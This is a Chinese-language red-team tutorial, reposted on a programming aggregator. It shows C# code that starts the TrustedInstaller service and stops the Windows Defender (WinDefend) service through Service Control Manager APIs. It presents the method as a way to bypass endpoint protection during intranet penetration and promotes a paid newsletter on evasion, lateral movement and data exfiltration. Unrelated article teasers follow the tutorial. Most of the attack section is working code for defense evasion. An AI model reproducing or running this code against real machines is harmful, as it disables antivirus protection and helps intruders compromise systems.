.NET内网实战:模拟Installer关闭Defender

news2024/11/16 12:02:13

01基本介绍

图片

02编码实现

原理上通过Windows API函数将当前进程的权限提升至TrustedInstaller,从而实现了对Windows Defender服务的控制。通常可以利用Windows API中的OpenSCManager、OpenProcessToken、ImpersonateLoggedOnUser以及ControlService等函数协同工作,来实现对Windows Defender服务的关闭操作。

3.1 启动TrustedInstaller

ZwQueryInformationProcess函数用于获取指定进程的信息,如进程ID、父进程信息等,ReadProcessMemory函数用于从指

通过调用OpenSCManager、OpenService、StartService这三个API方法启动一个TrustedInstaller 服务。调用函数代码如下所示。

[DllImport("advapi32.dll", CharSet = CharSet.Unicode, EntryPoint = "OpenSCManagerW", ExactSpelling = true, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

OpenService函数用于打开服务控制管理器(SCM)数据库中指定的服务,方便进行下一步的操作(如启动、停止等),具体代码如下所示。

[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);

StartService函数是Windows Service Control Manager (SCM) API的一部分,用于启动一个已安装的服务。为了便于使用,我们封装成一个自定义方法start_trustedinstaller_service,具体代码如下所示。

public static void start_trustedinstaller_service()
{
   IntPtr intPtr = Program.OpenSCManager(null, null, 0xF003F);
   bool flag = intPtr == IntPtr.Zero;
   if (flag)
   {
    Console.WriteLine("OpenSCManager failed!");
   }
   else
   {
    Console.WriteLine("OpenSCManager success!");
    string lpServiceName = "TrustedInstaller";
    IntPtr intPtr2 = Program.OpenService(intPtr, lpServiceName, (uint) SERVICE_ACCESS.SERVICE_START);
    bool flag2 = Program.StartService(intPtr2, 0, null);
    bool flag3 = flag2;
    if (flag3)
    {
     Console.WriteLine("TrustedInstaller service started!");
    }
    else
    {
     Console.WriteLine("TrustedInstaller service cannot be started!");
    }
    Thread.Sleep(2000);
    Program.CloseHandle(intPtr2);
    Program.CloseHandle(intPtr);
   }
}

上述代码中,依次调用系统API函数OpenSCManager,用于打开服务控制管理器数据库,并返回一个句柄。参数 null 表示连接到本地计算机,0xF003F 是访问权限标志,表示具有完全访问权限。

接着,声明一个值为TrustedInstaller的变量ServiceName,使用 OpenService 函数打开 TrustedInstaller 服务,并返回一个服务句柄。SERVICE_ACCESS.SERVICE_START 权限表示具有启动服务的权限。

最后,调用API 函数 StartService 启动 TrustedInstaller 服务。

3.2 启动TrustedInstaller

通过调用OpenService、ControlService等API函数来关闭Windows Defender。调用函数代码如下所示。

[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ControlService(IntPtr hService, Program.SERVICE_CONTROL dwControl, ref Program.SERVICE_STATUS lpServiceStatus);

ControlService函数,用于控制Windows服务的,包括启动、停止、暂停等。最后,我们封装成一个自定义方法stop_defender_service,实现的过程利用ControlService函数打开Windows Defender服务,将服务的句柄权限标志设置成SERVICE_STOP即可,具体实现代码如下所示。

public static void stop_defender_service()
  {
   IntPtr intPtr = Program.OpenSCManager(null, null, 983103U);
   bool flag = intPtr == IntPtr.Zero;
   if (flag)
   {
    Console.WriteLine("OpenSCManager failed!");
   }
   else
   {
    Console.WriteLine("OpenSCManager success!");
    string lpServiceName = "WinDefend";
    IntPtr intPtr2 = Program.OpenService(intPtr, lpServiceName, 44U);
    Program.SERVICE_STATUS service_STATUS = default(Program.SERVICE_STATUS);
    bool flag2 = Program.ControlService(intPtr2, Program.SERVICE_CONTROL.STOP, ref service_STATUS);
    bool flag3 = flag2;
    if (flag3)
    {
     Console.WriteLine("Windefender service stopped!");
    }
    else
    {
     Console.WriteLine("Windefender service cannot be stopped!");
    }
    Thread.Sleep(2000);
    Program.CloseHandle(intPtr2);
    Program.CloseHandle(intPtr);
   }
  }

综上,通过一系列步骤成功模拟 TrustedInstaller 服务的令牌,从而停止 Windows Defender反病毒软件服务,也因此该方法在内网红队绕过Windows终端安全防护阶段具有重要的意义。想要了解完整或者更多的内网安全防御绕过方向的文章,参考小报童《.NET 内网实战攻防》电子报刊。

03.NET 电子报刊

本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

图片

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984122.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Modbus-Ascii详解

目录 Modbus-Ascii详解 Modbus-Ascii帧结构 LRC效验 将数据字节转成ASCII 将返回帧转为数据字节 Modbus-Ascii的实现 使用NModbus4实现Modbus-Ascii 实例 Modbus-Ascii详解 Modbus ASCII是一种将二进制数据转换为可打印的ASCII字符的通信协议,‌每个8位数据需要两…

WPF学习(4)- VirtualizingStackPanel (虚拟化元素)+Canvas控件(绝对布局)

VirtualizingStackPanel虚拟化元素 VirtualizingStackPanel 类(虚拟化元素)和StackPanel 类在用法上几乎差不多。其作用是在水平或垂直的一行中排列并显示内容。它继承于一个叫VirtualizingPanel的抽象类,而这个VirtualizingPanel抽象类继承…

AI基础架构-NVLink 技术详解

AI Infra 基础知识 - NVLink 入门 NVLink,一种专有互连硬件,实现Nvidia GPU与CPU之间的高效、一致数据和控制传输,提升多GPU系统性能。 概述 NVLink 于 2014 年初发布,旨在作为 PCI Express 的替代解决方案,具有更…

Java零基础之多线程篇:线程同步

哈喽,各位小伙伴们,你们好呀,我是喵手。运营社区:C站/掘金/腾讯云;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点,并以文字的形式跟大家一起交流,互相学习,一…

Java13.0标准之重要特性及用法实例(二十三)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 新书发布:《Android系统多媒体进阶实战》🚀 优质专栏: Audio工程师进阶系列…

【第三版 系统集成项目管理工程师】第9章 项目管理概论

持续更新。。。。。。。。。。。。。。。 【第三版】第九章 项目管理概论 9.1 PMBOK的发展9.2 项目基本要素9.2.1项目基础 P3041.独特的产品、服务或成果-P3042.临时性工作-P3043.项目驱动变更-P3054.项目创造业务价值-P3055.项目启动背景-P306 9.2.2项目管理 P3069.2.2 项目管…

AQS的ReentrantLock源码

什么是AQS(全称AbstractQueuedSynchronizer) 代表:重入锁、独占锁/共享锁、公平锁/非公平锁 是JUC包中线程阻塞、阻塞队列、唤醒、尝试获取锁的一个框架 AbstractQueuedSynchronizer是全称,是一个模板模式,一些线程…

深入理解Java的内存管理机制

文章目录 1. 程序计数器 (Program Counter Register)2. Java虚拟机栈 (Java Virtual Machine Stack)3. 本地方法栈 (Native Method Stack)4. 堆 (Heap)a. 年轻代 (Young Generation)b. 老年代 (Old Generation) 5. 方法区 (Method Area)6. 运行时常量池 (Runtime Constant Pool…

magic-api相关应用与配置

目录 项目启动 工具:IDEA 运行项目 关于配置 项目启动 工具:IDEA 新建——》项目——》导入——》运行 运行项目 http://localhost:9999/magic/web/index.htmlhttp://localhost:9999/magic/web/index.html 关于配置 配置多数据源 在线配置多数据…

git版本控制的底层实现

目录 前言 核心概念串讲 底层存储形式探测 本地仓库的详细解析 提交与分支的深入解析 几个问题的深入探讨 前言 Git的重要性 Git是一个开源的版本控制工具,广泛用于编程开发领域。它极大地提高了研发团队的开发协作效率。对于开发者来说,Git是一个…

32-《蝴蝶兰》

蝴蝶兰 蝴蝶兰(学名:Phalaenopsis aphrodite Rchb. F.)为兰科蝴蝶兰属,原产于亚热带雨林地区,为附生性兰花。蝴蝶兰白色粗大的气根露在叶片周围,除了具有吸收空气中养分的作用外,还有生长和光合…

java之WIFI模块实现文件传输(开源)

AndroidManifest这里要获取到权限,所以要导入: <uses-permission android:name"android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name"android.permission.CHANGE_WIFI_STATE" /> <uses-permission android:name"…

22 - grace数据处理 - 补充 - 泄露误差改正 - Slepian局部谱分析法(二) - Slepian谱分析程序包初始化

22 - grace数据处理 - 补充 - 泄露误差改正 - Slepian局部谱分析法 - Slepian谱分析程序包初始化 0 引言1 slepian程序包配置过程1.1 获取环境配置安装包1.2 执行demo测试是否配置成功2 结语0 引言 上篇提到进行slepian谱分析可以使用美国普林斯顿大学Frederik Simons教授提供的…

Google Chrome 应用商店插件离线导出导入方法(亲测有效)

Google Chrome 浏览器插件&#xff08;也称为扩展程序&#xff09;是一种可以增强浏览器功能的小型软件程序。这些插件可以让用户在浏览器中添加新的功能、定制化界面、自动化任务等。以下是一些常见的 Google Chrome 浏览器插件功能&#xff1a; 功能增强&#xff1a;插件可以…

使用 Pytorch 从头开始​​构建 Transformer

目录 一、说明 二、输入嵌入 2.1 __init__()方法目的 2.2 super() 三、PositionalEncoding 类 四、位置编码的工作原理 4.1 总体过程 4.2 数学公式 五、LayerNormalization 类 5.1 过程描述 5.2 例子 六、FeedForwardBlock 类 6.1 总体描述 6.2 数学公式 七、MultiHeadAttentio…

全球清真食品配料市场规划预测:未来六年CAGR为3.4%

随着全球穆斯林人口的增长和消费能力的提升&#xff0c;清真食品配料作为符合伊斯兰教义的食品添加剂和成分&#xff0c;正逐渐受到更多消费者的青睐。本文旨在通过深度分析清真食品配料行业的各个维度&#xff0c;揭示行业发展趋势和潜在机会。 【市场趋势的演变】 1. 市场规…

AI 生成搞笑段子

段子在我们生活中扮演着极为重要的角色&#xff0c;它不仅能够带给我们欢乐和娱乐&#xff0c;还能够促进交流和拉近人与人之间的距离。通过幽默诙谐的段子&#xff0c;我们可以轻松地化解尴尬和紧张的气氛&#xff0c;让沉闷的场合变得活泼有趣。 而段子手生成器&#xff0c;则…

Flink-DataWorks第一部分:DataWorks(第57天)

系列文章目录 1.1 什么是DataWorks 1.2 功能特性 1.2.1 数据集成&#xff1a;全领域数据汇聚 1.2.3 数据建模&#xff1a;智能数据建模 1.2.4 数据分析&#xff1a;即时快速分析 1.2.5 数据质量&#xff1a;全流程的质量监控 1.2.6 数据地图&#xff1a;统一管理&#xff0c;跟…

数据跨境流动需要注意什么?怎么实现安全合规的跨境传输?

2024年3月22日&#xff0c;《促进和规范数据跨境流动规定》&#xff08;以下简称《数据跨境规定》&#xff09;正式公布并施行。数据跨境流通涉及到隐私保护、安全性和法律合规等多个方面的重要考虑因素。 具体来说&#xff0c;需要注意以下几点&#xff1a; 1、隐私保护&…

农场游戏中的时间管理实例

一、准备工作 在Unity中创建承载日期和时间的文本 二、设置游戏的时间戳 using System.Collections; using System.Collections.Generic; using UnityEngine; //标识这个类可以被序列化 [System.Serializable] public class GameTimestamp {// 游戏时间戳的成员变量public in…